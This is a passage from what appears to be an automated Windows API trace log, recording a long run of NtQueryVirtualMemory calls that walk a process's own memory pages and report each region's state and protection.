RegionSize=0x28000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x27000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x26000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x70000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x70000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x25000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x71000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x71000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x24000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x72000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x72000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x23000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x73000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x73000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x22000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x74000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x74000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x21000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x75000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x75000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x20000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x76000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x76000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x77000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x77000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x78000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x78000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x79000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x79000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x19000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x18000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x17000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x7f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x7f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x16000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x80000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x80000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x15000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x81000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x81000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x14000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x82000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x82000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x13000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x83000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x83000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x12000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x84000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x84000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x11000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x85000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x85000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x10000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x86000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x86000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x87000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x87000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x88000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x88000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x89000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0xa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x8f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x8f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x90000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x91000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x91000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x92000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x92000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x93000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x93000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x94000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x94000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x95000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x95000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x96000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x96000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x97000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x97000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x98000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x98000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x8000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.989] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x99000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x99000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x7000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9d000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9e000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x9f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x9f000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xfa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa4000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa5000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa6000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa7000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa8000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xa9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xa9000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xaa000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xab000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xab000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xf0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xac000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xac000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xef000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xad000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xad000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xee000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xae000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xae000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xed000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.990] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xaf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xaf000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xec000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb0000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xeb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb1000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xea000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb2000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0xb3000, AllocationBase=0xa0000, AllocationProtect=0x4, RegionSize=0xe8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.991] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xb4000, VirtualMemoryInformationClass=0x0, 